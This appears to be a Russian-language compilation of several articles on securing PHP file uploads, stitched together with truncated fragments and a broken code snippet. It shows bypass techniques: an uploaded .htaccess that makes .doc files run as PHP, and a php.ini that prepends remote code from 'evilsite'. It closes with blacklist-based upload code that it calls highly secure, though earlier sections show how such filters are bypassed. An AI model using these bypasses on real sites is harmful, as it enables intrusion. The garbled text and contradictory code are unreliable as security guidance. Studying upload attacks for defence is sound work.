Когда на сайте требуется разрешить пользователю загружать свои файлы (например, фото или аватары) с последующим их хранением на сервере, сразу возникает ряд проблем с безопасностью.

Первая и самая очевидная - это имена файлов . Их обязательно нужно проверять на спецсимволы, так как пользователь может подделать HTTP-запрос, в результате чего загружаемый файл будет иметь имя, например, ../index.php. и при попытке его сохранения затрет корневой индекс. Кроме того, название может содержать русские буквы в кодировке windows-1251 или koi-8, которые некорректно сохранятся в файловой системе. Вывод: нужно сохранять файл не под тем именем, под которым его загрузил пользователь, а под случайным, например MD5-хешем от имени файла, времени загрузки и IP пользователя. Имя же этого файла где-нибудь в базе, а потом отдавать файл скритом, который предварительно будет выдавать заголовок Content-disposition: attachment; filename="имя_файла".

Вторая проблема - нельзя доверять расширению или MIME-типу , их при желании можно подделать. Поэтому если тип файла важен, его нужно проверять на соответствие формату уже на сервере (для картинок хорошо подойдет функция getimagesize из модуля GD, для других типов - чтение заголовков) и отвергать те файлы, у которых формат не соответствует.

И наконец, третья, самая главная проблема - . Тут есть несколько решений. Первое - если предполагается загрузка только определенных видов файлов (например, автар может быть только картинкой в PNG, JPG, GIF) и отвергать все, что не подходит. Но иногда требуется разрешить загружать файлы любых типов. Тогда возникает второй вариант: проверять расширение загруженного файла и, если оно небезопасно, переименовывать его (например, замена расширения с.php на.phps приведет к тому, что скрипт не будет выполняться, а будет показан его код с подсветкой синтаксиса). Главный недостаток этого решения - может оказаться, что на каком-то сервере настроено исполнение скриптов с необычном расширением, например, .php3, и отфильтровать это не получится. И наконец, третий вариант - это отключить обработку скриптов, например через.htaccess:

RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp

Однако следует учесть, что файл.htaccess влияет только на Apache (да и то его использование нужно включить в настройках), а на других серверах он будет проигнорирован. (Особенно важно это для скриптов, которые выкладываются в публичный доступ: рано или поздно найдется пользователь с каким-нибудь IIS, который не примет должных мер, поэтому лучше сочетать этот способ с предыдущим.)

И последнее: после прочтения этого текста может возникнуть желание хранить пользовательские файлы вообще в базе данных. Не стоит этого делать: хотя это и кажется простым решением, но следует учитывать, что современные поисковики индексируют не только обычные HTML-страницы, но и файлы других типов. И в момент прохождения поискового робота нагрузка на SQL-сервер будет резко возрастать из-за необходимости отдать сразу большой объем данных, что будет приводить к проблемам в работе сайта.

«…или почему фильтрация по черному списку это плохо?»

Представим обычную загрузку файлов с помощью php. Я думаю все с этим сталкивались. Отбросим извращенные варианты, типа хранения файлов в базе, их переименовывание и прочее. Возьмем именно обычную наипростейшую форму загрузки файлов.

Обычно это форма на хтмл, затем серверная валидация по расширению загружаемого файла и последующий перенос загруженного файла из временной папки в папку загрузок. Отбросим все миллионы ошибок, которые совершают программисты в этих, казалось бы простейших, вещах, и посчитаем что этот функционал реализован грамотно и без ошибок.

Встает вопрос, а как именно фильтровать расширения файлов? Существуют два варианта:

  • По белому списку — составляем список допустимых расширений файлов, а все остальные блокируем
  • По черному списку — составляем список блокируемых расширений, а все остальные загружаем

Беда в том что для реализации фильтрации по белому списку нужно предусмотреть все возможные варианты нужных расширений которые будет загружать наш скрипт. И если для мест где необходимо загружать только картинки — все просто, то во многих других случаях прийдется составить довольно большой список легитимных расширений. Поэтому многим разработчикам кажется, что следует пойти от обратного, и запретить опасные расширения.

И если в первом случае многие уверены, что будут залиты файлы только с требуемыми расширениями (в статье я расскажу вам как можно обойти и это), то вот во втором случае не все так просто.

Эта статья о том чем плоха фильтрация по черному списку, и как этот фильтр можно обойти. А также приятным бонусом добавлю способ обхода фильтра по белому списку (и даже это возможно! о как!)

Начнем мы с проблем фильтрации по черному списку.

Куча расширений

Первая проблема состоит в том, что апачем по дефолту (хотя может и не по дефолту, но по крайней мере очень часто) обрабатывается куча файлов с различными расширениями как php скрипты. Вы по-прежнему думаете что достаточно блокировать только «.php»? А вот фигушки, вот неполный список возможных расширений:

Php .phtml .php4 .php5 .html

Да, да, в некоторых конфигурациях апача «.html» может обрабатыватся как php скрипт.

А еще мы же забыли про cgi, перл и прочие вкусняшки для хаккера. Да, обычно их запуск возможен только из папки «/cgi-bin», но кто знает, может быть именно ваш сервер сконфигурирован иначе…

И достаточно упустить хоть одно расширение, и злоумышленник, при попытке взлома, наверняка попытается залить файл с таким расширением и затем его выполнить, что скорее всего приведет к полному взлому вашего сайта.

Меняем конфиг под себя

Ну все, админ оказался параноиком и добавил в фильтр все исполняемые расширения. Но, как говорится, на каждый хитрый болт найдется своя хитрая гайка. Ведь админу даже не подумалось добавить расширение «.htaccess» (если это конечно можно назвать расширением:D) в список фильтра.

Пробуем загрузить файл с именнем «.htaccess» следующего содержания:

AddType application/x-httpd-php .doc

И теперь в папке куда был загружен этот файл, все файлы с расширением «.doc» будут интерпетироваться как php скрипты и соответственно выполнятся. Осталось загрузить php скрипт с этим расширением и он будет успешно выполнен.

Льем php.ini

Не так давно я писал про интересную особенность связки php+cgi (и кстати fastcgi тоже):

Для выполнения данной атаки мы должны иметь следующее стечение обстоятельств:

  • Php должен быть подключен через CGI
  • Папка куда загружаются файлы должен содержать хотябы один php скрипт (допустим index.php)
  • Фильтр не должен резать расширение.ini (то есть у нас должно получится загрузить файл php.ini)

В php есть такая интересная опция, которая называется auto_prepend_file :

Определяет имя файла, который будет автоматически обрабатываться перед основным файлом. Файл вызывается так, будто он был подключен при помощи функции require, так что include_path также используется.

Если в двух словах, то перед каждым выполнением любого скрипта, будет исполнятся сначала скрипт указанный в «auto_prepend_file». Догадываетесь к чему я клоню?

Интересно то, что можно указывать удаленный адрес файла на другом сервере, и это очень удобно. Льем такой файл php.ini:

; Включаем чтение удаленных файлов (это требует allow_url_include)
allow_url_fopen=1

; Включаем возможность удаленного инклуда
allow_url_include=1

; Подключаем «свой» скрипт со «злым» кодом
auto_prepend_file= «http://evilsite/code.txt»

Залили файл? Отлично! Теперь обращаемся к любому php скрипту который есть в дирректории куда заливаются все файлы (именно для этого я писал что нужен php скрипт в этой папке). При обращении к скрипту из этой папки в первую очередь будет выполнен файл указанный в auto_prepend_file.

«Двойное» расширение

«MIME-код — cправка, что ты не верблюд.»
несмешная штука из журнала ])){ if($_FILES["uploadFile"]["type"] != "image/gif") { echo "Ошибка, Вы можете загружать только gif картинки"; exit; } $folder = "path/to/folder/"; $uploadedFile = $folder.basename($_FILES["uploadFile"]["name"]); if(is_uploaded_file($_FILES["uploadFile"]["tmp_name"])){ if(move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $uploadedFile)){ echo Файл загружен; } else { echo "Во время загрузки файла произошла ошибка"; } } else { echo "Файл не загружен"; } } ?>

Если обычный пользователь попытается загрузить любой другой файл, кроме gif-картинки, то ему будет выдано предупреждение!Но злоумышленник не будет использовать веб-форму на Вашем сайте.

Он может написать небольшой Perl-скрипт(возможно на любом языке) , который будет эмулировать действия пользователя по загрузке файлов , дабы изменить отправляемые данные на свое усмотрение.Так как проверяемый MIME-тип приходит вместе с запросом, то ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает.

Если вы загружаете только изображения,то не стоит доверять заголовку Content-Type, а лучше проверить фактическое содержание загруженного файла, чтобы удостовериться что это действительно изображение. Для этого в РНР очень часто используют функцию getimagesize() .

Функция getimagesize() определяет размер изображения GIF, JPG, PNG, SWF, PSD, TIFF или BMP и возвращает размеры, тип файла и высоту/ширину текстовой строки, используемой внутри нормального HTML-тэга IMG.

Давайте посмотрим, как можно использовать эту функцию в нашем скрипте:

Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован.

Вы наверное спросите, а почему бы не проверять просто расширение файла? Если мы не позволим загружать файлы *.php , то сервер никогда не сможет выполнить этот файл как скрипт . Давайте рассмотрим и этот подход.

Вы можете составить белый список расширений и проверять имя загружаемого файла на соответствие белому списку.

Выражение!preg_match ("/$item\$/i", $_FILES["uploadFile"]["name"]) проверяет соответствие имени файла, определенному пользователем в массиве белого списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в белом списке, файл будет загружен, иначе

В прошлой статье мы с Вами разбирали . Однако, я Вам уже сказал, что использовать код, который там был рассмотрен, категорически нельзя! И в этой статье мы поговорим о безопасности при загрузке файлов на сервер в PHP .

Давайте напомню код, который мы вчера рассматривали:

$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Фактически, на данный момент может быть загружено абсолютно всё, что угодно: любые исполняемые файлы, скрипты, HTML-страницы и другие весьма опасные вещи. Поэтому обязательно надо проверять загружаемые файлы очень тщательно. И сейчас мы с Вами займёмся их тщательной проверкой.

Поскольку различных вариантов задач может быть очень много, мы рассмотрим вариант с загрузкой простого изображения, на которые должны накладываться следующие ограничения:

  1. Тип - только jpg (jpeg ).
  2. Размер - менее 100 КБ .
" в соответствии с этими требованиями:

$blacklist = array(".php", ".phtml", ".php3", ".php4", ".html", ".htm");
foreach ($blacklist as $item)
if(preg_match("/$item\$/i", $_FILES["somename"]["name"])) exit;
$type = $_FILES["somename"]["type"];
$size = $_FILES["somename"]["size"];
if (($type != "image/jpg") && ($type != "image/jpeg")) exit;
if ($size > 102400) exit;
$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

Теперь давайте подробно поясню, что здесь происходит. Первым делом мы проверяем на расширение загружаемого файла . Если оно представляет собой PHP-скрипт , то мы такой файл просто не пропускаем. Дальше мы получаем MIME-type и размер. Проверяем их на удовлетворение нашим условиям. Если всё хорошо, то мы загружаем файл.

Вы, наверное, можете спросить: "А зачем надо проверять и расширение, и MIME-type? ". Тут очень важно понимать, что это далеко не одно и то же. Если злоумышленник попытается отправить PHP-файл через браузер , то и одной проверки MIME-type хватит, чтобы его попытка провалилась. А вот если он напишет какой-нибудь скрипт, который будет формировать запрос и отсылать вредосный файл, то этого не хватит. Почему? А потому, что MIME-type задаётся клиентом, а не сервером! И фактически, злоумышленник может поставить любой MIME-type (и картинки тоже), но при этом отсылать PHP-скрипт . И вот именно такую хитрую попытку мы и ломаем, проверяя на расширение файла.

Я сразу скажу, что данный код далеко не 100% защита (100% просто не существует), однако, взломать такой код будет очень и очень тяжело, поэтому можете смело утверждать, что Вы обеспечили высокую безопасность при загрузке файлов на сервер через PHP .




Close